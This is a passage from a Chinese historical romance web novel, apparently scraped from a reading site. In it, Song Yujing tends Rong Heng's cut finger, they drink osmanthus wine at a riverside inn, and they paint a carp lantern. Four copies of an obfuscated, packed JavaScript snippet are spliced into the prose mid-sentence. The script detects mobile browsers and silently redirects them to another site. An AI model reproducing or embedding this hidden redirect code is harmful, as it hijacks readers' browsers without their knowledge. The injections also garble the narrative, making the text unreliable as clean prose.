容珩缓缓呼出一口气:“我怕你生气。” “我没有生气。”宋予静重复一遍,瞥见他衣裳上的红痕时,猛地提高声量,“你受伤了?!” 即使身处山野,他依旧坐得笔直,仪态闲雅,白色衣摆上却不知何时染上一抹刺眼鲜红。 她冲过去,盯着他膝盖位置,“哪里来的血?” 她一边说,一边上下打量他,视线最后停在他的手指上。 容珩立即握住手。 宋予静皱紧眉头,担心他的伤势,直接捏住他的手腕,强硬地松开他的五指。 容珩右手食指外侧破皮裂开一道伤口,横跨两个指节,好在伤口不宽,冒出来的血珠细小,没有血流汩汩。 她稍微松了半口气,看见衣摆下方勾了几粒毛刺,而且之前在道观握住他的手时,并没有看到任何不对劲。 她猜测:“是被荆棘划破的吗?” 容珩也看了一眼,“大约是在路上不小心被勾到了。” “那你怎么不早说?” “小伤而已。”他摇头,“我不想打扰你登高的兴致。” “你……” 宋予静一时哑然,直接坐在他的身侧,取下腰间的水囊跟荷包,小心地捧住他的手。 容珩一瞬间往回缩手。 “不准动。”她抬头瞪了他一眼,“我帮你包扎,很快的,你不要乱动。” 手被她牢牢抓住,他轻声一叹,微垂眼帘,任由她动作。 看了眼乖巧坐着的容珩,她单手拧开水囊,以清水洗干净他手上的灰尘,边问:“疼吗?” “不疼。” 宋予静从荷包里抽出一张新帕子,仔细擦干水,将他的手搭在膝盖上,又从荷包里翻出一个小瓷瓶和一小卷纱布。 她从瓷瓶里倒出一枚褐色药丸,放在掌心碾成膏状,食指指尖挑起药膏,放轻力度,细细地涂抹在伤口处。 “这个药膏可能有点刺激,但药效不错,你稍微忍一下。” 容珩轻轻地应了声好。 伤口被褐色药膏覆盖,慢慢渗进肌肤里。 宋予静见容珩眉心微蹙,想起自己涂这味药时感觉到的火辣,弯腰凑近,轻轻一吹。 容珩浑身一僵,手指下意识蜷缩。 “哎!别动,先等药膏干了。”她急忙按住他的掌心,“很快的。” 宋予静继续朝伤口吹气。 容珩将另一只手背到身后,紧握成拳,视线不由向下,落在她的身上。 她微微张开嘴,温热的气息浅浅地呼落在指尖,药膏慢慢发挥效用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077179|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,滚烫的热意盖过本就不甚明显的微痛。 热意沿着手臂蔓延,后背渗出一层薄汗,他不由闭上眼睛,深吸一口气,闻到一丝浅淡香气,又缓缓吐出。 宋予静抽出一卷纱布,仔细缠绕住伤口,末了,打上一个活结。 “好了。”她细心嘱托,“最近伤口一定不要碰水,写字作画这些事情,不着急的话,最好再等等。” 容珩点点头,看着足足包扎得大了一圈的手指,又见她正在收拾纱布和药膏,问:“你为什么准备得这么齐全?” “习惯而已。”她收拾妥当,“以前跟着父亲母亲爬山时,我也被荆棘划破过手指,所以今天来之前,我顺便准备了一些药膏,有备无患嘛。” 宋予静望着他的手,庆幸道:“幸好我带了药膏。” 容珩沉默片刻,缓缓开口:“其实伤口不严重,已经开始止血了,你不必这么担心。” “那怎么行?”她立即反驳,“伤口虽小,那也不能忽视。” 容珩又沉默了,许久没有说话,只定定地望着她。 她疑惑地回望。 “你对待别人也这么好吗?”他顿了顿,补充道,“除了家人以外。” “你又不是别人,我为什么不能对你好?”宋予静挠挠手心,拧眉注视他,“怎么感觉自从在平远侯府的出阁宴后,你就变得有些奇怪,是遇到什么烦心事了吗?还是说镇国公最近又斥责你了?” 说到后面,她越发紧张,抓住他没有受伤的那只手,翻看两遍,没有看到任何伤痕。 “不是烦心事。”容珩半阖眼帘,睫毛轻颤,“父亲最近很少回府。” “没事就好。”宋予静想了想,又问,“那时候听说你心里有想不通的事情,你现在想明白了吗?不介意的话,可以说给我听听,说不定我能帮上忙。” 容珩注视她的双眼,语气异常认真地回答:“已经想明白了。” “那就好。” 宋予静站起来,抬头望天辨认时辰,“大概过了申时正了,我们该下山了。” 说着,她伸手去扶容珩。 “……我想我伤的是手指。”他无奈拒绝,“而不是腿脚,我还能走。” “我是怕你起的太急了,容易站不稳。”她欲盖弥彰地找补,“我们走吧。” 一路顺利下山回到观内,宋予静向三清殿外的道士行礼。 “道长,五月下旬,我曾在观里求了平安符,当时道长说让我一百零八日后再来取,不知现在能否取平安符?” 道士翻了翻手里的名册,笑道:“请随贫道进殿。” 她道了声谢,又转头说:“你先在这里等我,应该很快的。” 容珩应好,目送她走进殿内,在原地等了一会儿,脚尖一转,走向解签处。 天色渐晚,解签的香客少了许多,他走过去的时候,最后一名香客刚好离开。 容珩朝白发道士行了一礼。 道士还记得他,客气询问:“公子是否对先前的签文有所不解?” 他摇头,望了眼正殿门口,宋予静还在殿内,大约没有那么快出来。 “有一事需要麻烦道长。”他说,“劳驾您找一下之前那枚姻缘签,烦请交还给我。” 34. 赴约 宋予静抱着四个木匣子走出大殿。 容珩站在廊檐下,一见到她,立即大步流星地走到她的面前,一边伸手帮忙,一边问:“这么多?” “就四份。”她抽出一个小匣子,递给他,“这个是送给你的平安符。” 容珩一怔:“给我?” “是呀。” 她将匣子放进他的左手里,重复一遍玄平观道士讲的佩戴要点。 “走吧。” 往前走出一段距离,没听到身侧熟悉的脚步声,宋予静回头一看。 容珩站在原地没动,直盯着手里的匣子。 她又踅转回去:“怎么了?” 他走下台阶,“没事。” 离开道观,宋予静从马鞍边上取下布袋子,装进三个匣子,见容珩还拿着那个匣子,取了一个新的布袋子。 “放进来吧。”她扯开袋口系绳,又看看他包扎纱布的手指,“你现在方便骑马吗?要不我去雇一顶轿子?” “不用。”容珩语气无奈,“伤势轻微,而且下山的路宽阔,也不算陡峭,我可以单手拉住缰绳。” 宋予静不放心地嘱托一遍:“那也要多注意一些。” “好。” 她将布袋子挂在马鞍旁边,见他利落地翻身上马,丝毫不受影响,也跟着上马。 最近没有下雨,山路还算好走。 “你为什么求了四份平安符?”容珩忽然问。 “其实是五份。”宋予静扯开左手袖口,晃晃手腕上的平安符,“在道观的时候,我在道长的指点下,直接戴上了,剩下三份带回去给阿爹他们。” 容珩的视线匆匆掠过她白皙纤细的手腕,低头看向布袋,隐约透出匣子方方正正的四个角。 “那为什么我也有?” 宋予静一愣。 平安符贴在手腕,木刻符牌摩挲着肌肤,生出一点痒意,她却想起之前来玄平观求平安符的场景。 观里的道士问她求几枚时,脑海里不由自主地浮现容珩的样子,原本计划的四枚,说出口就变成了五枚。 她看向容珩。 他也在看着她,目光灼灼,等她回答。 “你不喜欢吗?”宋予静转头望向前方,“回去后就随便找个地方放着吧。” 她避而不谈原因,见他一时半会没有追问,按下心里的不自在,连忙转移话题:“之前跟你说过的桂花酿……” 刚说了一半,目光触及他右手上的白纱布,她捏紧手里的缰绳。 缰绳粗砺,磨得掌心微痛,她重重叹息一声,将溜到嘴边的邀约咽回去。 偏偏容珩又问:“桂花酿已经酿好了?” 宋予静只能应是,叹道:“原本打算重阳节前后邀请你一起品尝,可是你现在受了伤,不宜饮酒,还是算了吧。” “伤口最多两三天就会好。”容珩说,“我一定会赴约。” “但是……” “就定在临江楼,如何?”他少见地打断她拒绝的话,“我提前让人去包好雅间,听说临江楼近来出了一些新菜样,我想你陪我一起去试试。” 以往都是他陪她四处游玩,现在他难得提出邀约,她一口答应,末了,又说:“不过在伤口痊愈之前,你绝对不能喝酒。” “好。” 一路顺利地回到京城,太阳将近落山。 遥望见公主府的院墙,宋予静牵住马,说:“我到家了,你也早点回去,免得等会儿天黑,路不好走。” 容珩应声,握住缰绳没动,迟疑不定地问:“你会赴约吗?” “当然。”她脆声回答,“我都答应你了,保证会去,还会带上桂花酿。” 容珩终于笑起来,转身离开。 回到公主府,宋予静将马匹交给侍从,亲自抱着布袋,去往正院。 “回来了。”庆阳长公主捏着本账册,瞅见她怀里的布袋,“怀里抱的什么?” “给您还有阿爹、哥哥求的平安符。” 她小心翼翼地取出三个木匣子,依次摆在案几上,拿起中间一个,放到母亲面前。 庆阳长公主打开看了看,温柔笑道:“我会好好戴着的。” 宋予静放松地笑笑,接住母亲递来的账册,认真细看,在可能有误的地方做好标记。 “看来是多出去走走。”庆阳长公主忽然出声,“你现在看上去有精神多了,总算不像之前蔫哒哒的样子了,是今天去道观里遇到了什么好事吗?” 她愣了下,脑海里先浮现容珩修长的身影,不知为何白发道士的那番话也出现了。 “没有吧。”她揉揉脸颊,“我最近哪有什么变化,不一直都这样嘛。” 庆阳长公主挑眉,没有多问,抽走她手里的账册,“该用晚膳了。” 宋予静暗暗一松,恰好听见屋外侍女向宋学士和宋归鸿行礼的声音,挽住母亲的手臂,一起去迎父兄。 * 容珩快步往朝前走,拐过墙角,看见前方迎面而来的高大身影时,不着痕迹地皱了下眉。 避无可避,他微垂下头,不得不上前行礼:“见过父亲。” 镇国公随口应了声,瞥见他手指上的纱布,拧眉问:“你的手怎么了?” 宋予静包了几层纱布,而今天为了行动方便,他穿的是窄袖,不好藏进袖子里。 “无事,不劳父亲担心。”容珩将手背到身后,“儿先告退,不敢耽搁父亲。” 说完,他低头快步从镇国公的身边经过。 “站住。” 闻言,容珩脚步一顿,一言不发地转身。 镇国公眉头凝成疙瘩,神色微沉,盯着他的右手臂,扬声道:“来人。” 守在不远处的小厮连忙跑过来,“小的在。” “去请太医回来。” 容珩迅速抬起眼帘,转瞬垂下,恭敬地回道:“多谢父亲。” 镇国公沉默地看着他,半晌后,才开口:“回去好好休息。” “是。” 他立即转身离开,毫不留恋地往前走,哪怕依稀感受到镇国公的视线直落在他的身上。 回到世子院,容珩叫来一名管事,认真吩咐:“你现在去临江楼,将他们那里临近江面的雅间包下来,重新布置妥当,不得被人轻易打扰。” 管事应是,福身离开。 尔后,他从怀里取出那枚平安符,指尖抚过上面的纹路。 听见外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079979|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面急匆匆的脚步声,他微微皱眉,抬头看见小厮领着一名太医跑进来。 太医肩上提着药箱,跑得满头大汗,连礼都来不及行,急声问:“世子是哪里受伤了?” 容珩伸出右手。 太医盯着被包扎得严严实实的食指,茫然地看了他一眼,继续问:“世子还有哪里受伤了吗?” “没有。” 太医少见地呆滞一瞬,抬起袖子擦干一脑门的汗,从药箱里取出脉枕,“世子,下官先为您把脉。” 容珩清楚只有那么微小的伤口,但太医短短片刻钟从太医院赶来国公府,也不好就叫人这么离开了。 太医伸出三指,搭在左腕上。 他低垂眼帘,拇指抚过纱布,捏住上面的系扣,因骑马而略显松散。 “世子脉象沉稳,并无大碍。”太医问,“世子,敢问您是否还觉得哪里不适?” “没有。”容珩停顿一下,轻轻扯开系扣,取下纱布,“请问太医,这伤两日内能不能全好?” 太医仔细观察伤口,说:“伤口已经止住血,且伤得不重,坚持涂药,两日内应该能痊愈。” “能否饮酒?” 太医谨慎地回答:“只要真正痊愈,并且没有感受到任何不适,应该能饮酒。” “张太医慢走。” 既无大碍,太医留下一瓶药膏,提起药箱告退。 容珩吩咐管事去送,握住药瓶,又拿出宋予静留给他的瓷瓶,依着她教的法子,重新涂抹一遍药膏。 虽然不能去临江楼,容珩依旧写信给宋予静,邀她出来游玩。 收到的却是她回绝的信件。 他捏住笺纸,她在信里苦哈哈地写到庆阳长公主最近在带着她看账册,实在抽不出身。 指尖抚过笺纸上轻盈的字迹,他总算体会到她被他拒绝时的失望之情。 容珩叹息一声。 接下来的日子里,他每天按时擦药,也不着急出门,每天都会写信给宋予静,听她诉说看账册时的烦恼。 过了四五天,手指的伤口彻底痊愈,光滑如昔,再看不出一丝伤痕,他立即去信一封,邀她去临江楼小聚。 幸好她最近得闲,在信里回复说必定如约而至。 容珩松了口气,吩咐人提前去临江楼做好准备,第二天更是早早起来,足足提前了两刻钟前往。 雅间安静,他独自坐在罗汉床上,手指摩挲茶杯壁,抚过上面缠枝莲花。 快到了约定的时辰,容珩听见屋外响起一阵脚步声,伴有小二恭敬有礼的答话声。 紧接着,屋门被推开,又被关上,轻盈熟悉的脚步声渐渐走近,略停了一下,重物与木桌碰触,发出微响。 脚步声越近,他下意识转头,想起她之前所言,硬生生止住,依旧望着手里的茶杯。 肩膀被人轻轻一拍,容珩顺势抬头。 出现在眼前的是一捧丹桂,细小的橘红色花朵盛开,飘香四溢,沁人心脾,清晨的露水尚未全干,在花瓣尖将坠未坠。 花叶往旁边一挪,出现一张明媚俏丽的笑脸,盈盈笑意,比丹桂更灿烂。 心尖轻轻地颤了一下,他望着她,缓缓笑道:“你来了。” 35. 桂酿 “你来的好早哦,我已经比约好的时间早来一盏茶的工夫,结果你到的比我还早。” 宋予静坐在容珩的对面,端起他递来的清茶喝了几口。 “这样很容易出现你早我也早,弄到说不定最后约好是巳时初,结果双方辰时就到了。” “我请客,自然要早到,这样才不失礼数。” “你又要开始讲什么礼数?”她皱皱鼻子,不等他回答,立即问,“你的伤好了吗?” 容珩直接伸出手,摊开掌心,搭在案几上。 担心他的伤势,宋予静没有多想,直接抓起他的手,凑近细看。 原本食指侧的伤口不见了踪影,手指修长匀称,肌肤透着健康的红润色。 “没事就好。”她长长地松了口气,看看躺在掌心的手,比划一下,感慨道,“你的手指好长。” 容珩看了一眼,“应该没有。” 宋予静伸出左手,贴在他的掌根,慢慢靠近,掌心虚合,手指相对,贴在一起。 他的手指比她的高出半个指节,她笑道:“你看,你的手指明明比我的长。” 容珩定定地看着她,五指忽然往旁边错开,缓缓往下合拢,卡进指缝里,握住她的手,掌心紧密贴合在一起,甚至能感受他手心的薄茧。 他轻轻一笑:“抓到你了。” 她眨眨眼睛:“你在说什么?” 他摇摇头,却没有松开手,她也学着他的动作,五指向下,搭在他的手背,指腹轻轻地按在青筋。 经脉跳动,按在上面,还会微微弹起。 宋予静一时觉得好玩,指尖挠了挠他的手背,察觉到他一瞬间按紧自己的手,转瞬松开,越发觉得有趣。 手指上下挥舞,不停挠动他的手背。 “……不要乱动。”容珩低沉的声音响起。 十指相扣,时间久了,他干燥的掌心似乎生出点湿意,确实黏得有点不舒服。 宋予静“哦”了一声,想松开手收回来,仍被他抓在手里。 不等她疑问,容珩看了她一眼,卸了力度,慢慢往回收手,又端起一碟糕点,放到她的面前。 指间肌肤互相摩挲,生出些微暖意,她愣了下,抬头看着他。 “怎么了?”他问,“你想再点一些别的糕点?” “不用,这些就很好。” 宋予静错开话题,抬手一指桌上的两个酒坛子,“既然你的伤好了,那我带来的桂花酿就不会浪费了。” “我想应该会很好喝。” “那当然。”她扬起头,“我亲自盯着酒匠酿的,还提前尝过,味道很好。” 容珩笑笑,瞧见旁边的丹桂,问:“你从哪里摘的桂花?” “来的路上看到的。”宋予静摘下一朵桂花,捏住花梗,在指尖转了转,“现在都九月下旬了,再过不久,天气转冷,就会凋谢,所以我特意摘下送给你。” 她将花递到他眼前,“与你一起赏看暮秋之意。” 四片单瓣的橘色花朵,小巧玲珑,香气却很浓郁,挂满枝头时,隔得很远都能闻见沁人的甜香。 容珩低头盯着面前的丹桂,“你之前写信的时候也送了桂花。” “但那是金桂,颜色不一样。” 宋予静的视线在他昳丽面容转了一圈,捏紧花梗,压下将花插在他鬓边的念头。 她看向屋里的刻漏,距离用午膳还有半个时辰,又瞅瞅桌上的酒坛子,咽了口唾沫。 “饭前先小酌两杯,如何?” 见他点头答应,她立马起身,抱起其中一个酒坛,手里拿着两个白玉酒杯。 宋予静揭开封口,馥郁的桂花香一股脑地全飘出来,熏得整间屋子都是甜香。 “今天还不算太冷,”她一边将坛子里的酒倒进壶里,一边解释,“就不温酒了。” 容珩之前说过他的酒量还行,但她不确定这个还行究竟是行到什么程度,她便只倒了半杯,并说:“这两坛我让人少放了糖,你先试试味道,喝不习惯的话,不要勉强。” 容珩“嗯”了一声,伸手端起酒杯,一饮而尽。 桂酿酒色清澄,上面漂浮几粒金黄色的桂花干,入口清冽甘醇,不似其他酒的浓厚辛辣,舌尖尝到桂花香甜,却不会过分腻人。 “怎么样?”宋予静紧紧抓住酒壶把手,“应该不会很甜吧?” 容珩放下酒杯,笑着肯定道:“很好喝,甜味适中,酒味也不会很重。” 她晃晃酒壶,“那再来一杯?” 给他倒满一杯后,宋予静也给自己倒了满满一杯,也不着急喝,先闻闻香气,再小抿一口,舌尖细细回味一番,再接着喝一口。 喝了一半,她一口气全部喝完。 一边小酌,一边闲聊,转眼之间,酒壶渐渐变轻。 宋予静去捞酒壶,但捞了个空,酒壶一转,被容珩握在手里。 他徐徐往杯中倒酒,壶嘴的酒从涓涓细流变成叮咚水滴。 “最后一杯是我的了。”他端起酒杯,在她眼前虚虚晃过,挑眉笑道,“多谢宋姑娘的酒。” 她磨了磨牙,鼻尖还萦绕着桂酿的甜香,迅速往他的方向倾身,伸手去夺他的酒杯。 “是我的!” 容珩正好将酒杯递到唇边,被她猛地用力一碰,杯子撞到他的下巴,里面的酒立时倾洒了大半。 宋予静一怔。 清澈的酒水洒在他的下巴,沿着修长的脖颈缓缓流下,凸起的喉结一滚,水滴滑落,浸入月白色衣领,再也不见。 她不由自主地吞咽一下,莫名觉得生出一股燥意。 瞧见被酒洇出一片水晕瞪大衣领,宋予静强压下那股不对劲,两步跨到他的身边,抽出干净手帕,飞快地替他擦拭。 “对不起!我不该跟你抢!” 喝的时候觉得不过几口就喝完了,擦的时候却恍惚酒为何这么多。 她仔细擦干他下巴的酒渍,顺手一路往下擦,帕子都湿了大半,他的脖颈摸起来仍然一片微湿。 拧眉换了张新帕子后,宋予静低头继续专注地擦酒,擦过喉结,看见湿掉的衣领,她刚将帕子塞进衣领口,手腕忽然被人轻轻捏住,整个人被慢慢往外推。 容珩低垂眼帘,从她手里抽走手帕,“够了,我自己来。” 宋予静怔怔地望着他。 他稍稍扯开领口,往常紧密藏在里衣下的锁骨一闪而过,隐约看得见点点湿痕,转瞬被白色巾帕盖住。 她捏捏耳垂,有些微热,迅速别开头,不敢再看他。 “客人。”屋外响起酒楼侍女的问话,打破满室沉默,“您点的菜肴全都准备好了。” “送进来。”容珩微扬起声音,“先用膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101157|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你不是还带了一坛桂酿,我不会再跟你抢。” 宋予静压下心口莫名其妙的奇怪感,顺着他给的台阶下:“是我不该跟你抢,明明是我请你喝酒。” 酒楼侍女得到应允,推开门,鱼贯而入,规矩迅速地上菜,待全部菜肴端上桌后,再规矩地退了出去。 她扫了一眼菜肴,全都是她爱吃的,酸甜苦辣各种口味都有,却没有几样符合容珩的口味。 幸好她进雅间前,特意向酒楼伙计问了单子,重新加了几样他爱吃的菜。 宋予静坐在桌边,夹起一块鱼肉,细心地剔掉里面的鱼刺,端到他的面前。 “这是昨天刚到的松江鲈鱼,正应季,你尝尝。” 容珩坐在她的旁边,夹起小碟子里鲜美白嫩的鱼肉一咬,几口就吃完了。 见他不讨厌,她有意弥补刚才闹出来的错事,继续为他挑鱼刺。 正挑出几根细小鱼刺,面前忽然出现一杯桂酿,色泽清透,装在莹润的白玉杯里。 端着那杯酒的手比白玉更精致。 她扭头一看。 容珩微微挑眉,将杯子递得更近,嘴角噙着一抹笑意:“放心,我不会再跟你抢了。” 宋予静不自在地轻咳几声,就着他的手喝完。 “我觉得这坛好像没有那么甜。”她舔舔嘴唇,捞起白玉杯,倒满,端给他,“你试试。” “是比先前那坛的甜味浅了一些,你喝不惯?” 她摇头,瞅见刚挑好刺的鱼肉,夹起一小块,送到他的面前,笑道:“我也不跟你抢。” 菜肴丰盛,桂酿清甜,更难得是有容珩陪着她,一顿午膳吃下来,宋予静异常满足。 她端着饭后解腻的清茶,瞥见案几上的丹桂,问:“你打算怎么处置这捧桂花?” 容珩反问:“你觉得呢?” “摘下来晒成干花?”她想了想,“拿来酿酒分量太少了,可以泡茶或者做点心。” 他拿起桂枝,捻下一朵细小的花,放到鼻尖轻嗅,笑道:“那就晒成干花。” 宋予静帮忙一起摘花,再放进布袋里装好。 在雅间品茗闲谈,过了午时,两人方才离开临江楼。 时候尚早,宋予静不着急回去,与容珩一起在街上闲逛。 看见街边卖香囊荷包的摊子,她忽然看向容珩,视线落在他腰间挂着的荷包。 藏青色的荷包通体为素,没有绣任何纹样。 国公府应该不缺绣娘,她便问:“你的荷包挺简单的。” 闻言,容珩勾起荷包,“嗯,简单些也不错。” 宋予静又多看了几眼,问:“我之前送给你的那个荷包呢?我好像一次都没有见你戴过?” “我不敢用。” “啊?为什么?” “日常佩戴使用,难免会有磨损。”容珩松开手,“我怕弄坏了。” 见他如此珍视,宋予静心里高兴,嘴上却说:“弄坏了就弄坏了呗,我还可以再绣一个送给你。” “不必。”容珩直言拒绝,“你不擅长绣工,刺绣时难免会伤到手指,我已经收到一个,明白你的心意,所以不用再送了。” “扎到手指又怎么样?”她往前稍倾身子,“就算是最厉害的绣娘,偶尔也会有失误。” 容珩看着她,轻声开口:“我会心疼的。” 36. 靠近 宋予静一怔,扭头避开他专注的目光,瞧见前面的花灯摊子,“我们去那里看看!” 中秋已过,元宵尚远,在摊子前驻足停留的行人很少,只有零星几个人提着灯笼离开。 刚走过去,摊主便迎上来,圆脸堆满笑容。 “两位是来买花灯吗?我这是老摊子了,用的骨架和灯纸都是最好的,您往周围打听打听,就没人不说个好字。” 宋予静附和地笑笑,没有看挂在架子上的花灯,直接往旁边一指:“您这儿还能做灯笼吗?” “当然可以。”摊主一口答应,引着她往前走,“您想做个什么样式?” 七夕的时候,容珩教过如何做灯笼,她暂时还没忘记他讲的要点,应该还能顺利做出一盏新的花灯。 但她现在想提高一下难度。 宋予静扫了眼摆着的各式物件,向摊主付了钱,“您去忙吧,我知道怎么做灯笼。” 收了钱,摊主笑得见牙不见眼,“成,姑娘,这些东西都随您用,要是还缺什么,您再喊我一声,保证给您准备妥当。” 她点点头,认真看过堆蝶的骨架,从里面选了一副鲤鱼骨架。 鲤鱼灯用的篾条软而严实,提起来的时候,鱼身摇动,鱼尾摇曳,活灵活现,犹如还在水里一般自由自在。 她戳戳鱼尾巴,再抽出几张灯笼纸,回想容珩之前所讲所教,迅速糊在骨架上,又晃了晃灯笼,灯面平滑,灯纸糊得很紧实,完全没有掉落的迹象。 “你看!”她将灯笼提到容珩面前,“完全没有起褶皱!” 容珩一直站在旁边,没有出声打扰她,此时才肯定道:“糊得非常好。” “那也是你教的好!” 顺利将灯纸糊表,便已经成功了一半,宋予静调好颜料,提笔开始上色。 她选了纯正的红色,沿着鱼背一路画到鱼尾,鱼腹用了浅白色,红白相映,勾勒出一尾灵动有趣的鲤鱼。 又均匀地涂抹剩下一些不足后,她蘸足墨水,握紧笔杆,慢慢开始涂画鱼眼。 正所谓点睛之笔,眼睛画的好,鲤鱼灯才会更添几分奇彩。 画完左侧的鱼眼睛,宋予静盯着看了半晌,往旁边一推,问:“我觉得好像画的不够漂亮,你说呢?” 容珩看了眼,缓声回答:“如果你认为不够漂亮的话,那它就是不够漂亮。” 这算什么回答? 她又低头盯着鲤鱼灯,握住毛笔,迟迟不敢落下。 “需要我帮忙吗?”容珩问,“我可以带着你画。” 七夕时有过类似的经历,宋予静并未多想,应道:“那就麻烦你了。” 他笑了笑:“不麻烦。” 随即,容珩走近几步,停在她的右侧,直接握住她的右手,蘸足墨水,徐徐落在灯纸上。 笔尖流转,勾画出漆黑有神的鱼眼,鲜活灵动,的确比她之前画的漂亮多了。 宋予静暗自感慨,视线顺着笔杆往上,落在盖住她的手。 修白如玉,掌心温暖,贴在手背,画笔转动时,略一用力,握得更紧,亲密无间地贴合在一起。 因为要提笔作画,他卷起广袖,往下滑落几分,露出手腕,腕骨微微凸起,恰好卡在洁白的里衣袖口。 沿着广袖往上,越过坚实有力的臂膀,她看见整齐紧密的衣领口,下颌线流畅,完美无暇,面如冠玉,薄唇微抿,饮过桂酿时,染上些许深色的水痕。 密密匝匝的睫毛垂落,眼帘半阖,遮住深邃的幽眸,倏忽一转,眼瞳里含着笑意,浅浅地倒映出她的影子。 好近。 鼻翼间萦绕着一股清雅淡香,伴着馥郁清甜的桂花香与浅淡的酒香,像一张细密的网,铺天盖地,将她彻底笼罩其中。 明明桂酿不算烈酒,更多是桂花香,她虽然多饮了几杯,也不至于脑海里晕晕乎乎,连四周行人脚步声谈话声都听不清。 她似乎看见他轻启薄唇,模糊的几个字传入耳中。 宋予静恍然惊醒。 先前在酒楼里被强行压下的燥意再度升腾,他掌心的暖意传到手背,一起化作汹涌滚烫的热意,肆无忌惮地蔓延,漫过脖颈,在脸上炸开,烫得耳尖仿佛被火烧。 “你!”开口时,她差点咬到舌头,“你、你干嘛靠这么近?!” 容珩微微一怔:“在帮你画画。” “那……那也不……不用靠这么近!” 宋予静往后一缩,心里乱做一团,嘴上却不肯服输。 “虽然是我请你帮忙,但是……但是你不能……不能……” 一连说了几个不能,她越说越心虚,声音越来越低,余光瞥见刚画好的鲤鱼灯,后面斥责的话怎么也说不出口了。 “抱歉,是我失礼了。” 容珩忽然松开她的手,往后倒退几步,与她拉开足足三四尺的距离,远远地站着。 天色渐黑,太阳快要落山,远处楼阁的影子投映在地面。 他站在阴影里,垂首而站,视线规矩地落在地面,不再看她。 浆糊一般的脑子渐渐清明,宋予静呼出一口热气,强压下内心烦乱,抬头看见身形落寞的容珩,心中一紧。 是她请他帮忙作画,靠得稍微近些,也是常理之中,她不能反过来怪他。 灯笼已经全部做好,她提灯小跑过去,迅速道歉:“对不起,刚才是我反应太大了,你好心帮忙,我不该那样凶你。” 容珩摇头,语气温和如昔:“无妨,你不必在意。” 她咬住下唇,想开口解释原因,又不知道该如何说,手指不停抠弄灯柄。 “时候不早了。”容珩说,“我送你回家。” 她又看了他几眼,低声应好。 已近傍晚,行人各自归家,不远处炊烟袅袅升起,隐约飘出饭菜的香味。 宋予静点燃蜡烛,驱散前路的昏暗,与容珩一起往回走。 走着走着,她发现有点不对劲,与往常相比,太安静了,安静得仿佛只有自己的脚步声。 她转头去看容珩。 以往两人之间隔着半臂的距离,不远不近,如今足足隔了一尺多,中间还能再站一个人,一眼看过去,与陌生人相差无几。 她连忙跑过去。 容珩被她的脚步声一惊,朝她笑笑,却悄悄往旁边挪动。 瞧见他躲避自己的动作,心里莫名生出一股不舒服,宋予静紧跟上去,“别隔那么远嘛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116825|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 话一出口,她自个儿都觉得不好意思。 怪他靠得太近的是她,现在不想他隔得太远的也是她。 她不敢再提先前之事,半真半假道:“天太黑了,我有点害怕。” 容珩脚步一顿,立时往她的身边靠近,比以往更近,走动之间,两人垂落的衣袖互相轻碰。 心里那点烦闷瞬间消失,宋予静笑了起来,往他的方向偏移灯笼。 回到公主府,她直接把鲤鱼灯塞进容珩的手里,“天黑,你带上这盏灯笼。” 鲤鱼灯被她提了一路,灯柄残留一丝她掌心的暖意。 “好。”容珩握紧灯柄,“你最近还要忙着看账册和铺子吗?” “应该不用。”宋予静回答,“我已经看的七七八八了,这样年末的时候会轻松些,所以最近不忙。” “劳逸结合,不必太操劳。”他停了一下,“若是有空,我写给你的信,还请及时回。” “我保证会及时回信。”她挠挠脸颊,解释道,“之前是因为太忙了,我不是故意的。” “嗯,我知道。”容珩轻声道,“我愿意等的。” 目送宋予静安全地走进公主府后,容珩这才转身返回国公府。 一路直接回到世子院,他径直越过正屋,走进特意改为做木工的后罩房。 屋里点了灯,案几上依次墨斗、曲尺、锯、凿等,整齐有序,各样木料依次靠在墙壁,地面打扫得干净,几乎没有木屑。 容珩将鲤鱼灯放到灯下,一边细看,一边从头到尾摸过骨架,摸清构造后,小心地放在架子上,又拿起旁边削剔好的木料,重新摆正放好。 尔后,他走进书房,在书案铺好画纸,笔尖起落,绿叶金花跃然纸上。 